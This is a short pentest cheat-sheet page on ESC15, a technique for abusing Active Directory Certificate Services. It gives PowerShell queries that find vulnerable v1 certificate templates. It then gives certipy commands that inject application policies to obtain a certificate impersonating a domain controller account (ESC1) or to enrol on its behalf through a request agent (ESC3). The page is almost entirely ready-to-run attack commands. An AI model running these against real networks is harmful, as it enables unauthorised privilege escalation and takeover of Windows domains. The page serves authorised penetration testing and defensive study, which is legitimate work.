> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/ad-cs-abuse/esc15.md).

# ESC15

* <https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc>

## Enumerate

Get enabled templates:

```powershell
PS > $enabledTemplates = Get-ADObject -LDAPFilter "(&(objectClass=pKIEnrollmentService))" -SearchBase "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,$((Get-ADRootDSE).rootDomainNamingContext)" -Properties certificateTemplates | select -ExpandProperty certificateTemplates
```

Get v1 templates with `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` that are enabled:

```powershell
PS > Get-ADObject -Filter 'objectClass -eq "pKICertificateTemplate"' -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,$((Get-ADRootDSE).rootDomainNamingContext)" -Property name,msPKI-Template-Schema-Version,msPKI-Certificate-Name-Flag | ? {$_.'msPKI-Template-Schema-Version' -eq 1 -and ($_.'msPKI-Certificate-Name-Flag' -band 0x00000001)} | ? {$enabledTemplates -contains $_.name}
```

## Exploit

### ESC15 → ESC1

Abusing **Client Authentication**:

```
$ proxychains4 certipy req -u snovvcrash@megacorp.local -p 'Passw0rd!' -ca CorpCA -target CA01.megacorp.local -target-ip 192.168.1.12 -template VulnTemplate --application-policies '1.3.6.1.5.5.7.3.2' -upn 'DC01$@megacorp.local' -sid <DC01_SID> -ns 192.168.1.11 -dc-ip 192.168.1.11 -dns-tcp
```

### ESC15 → ESC3

Abusing **Certificate Request Agent**:

```
$ proxychains4 certipy req -u snovvcrash@megacorp.local -p 'Passw0rd!' -ca CorpCA -target CA01.megacorp.local -target-ip 192.168.1.12 -template VulnTemplate --application-policies '1.3.6.1.4.1.311.20.2.1' -ns 192.168.1.11 -dc-ip 192.168.1.11 -dns-tcp
$ proxychains4 certipy req -u snovvcrash@megacorp.local -p 'Passw0rd!' -pfx snovvcrash.pfx -ca CorpCA -target CA01.megacorp.local -target-ip 192.168.1.12 -template User -on-behalf-of 'MEGACORP\DC01$' -ns 192.168.1.11 -dc-ip 192.168.1.11 -dns-tcp
```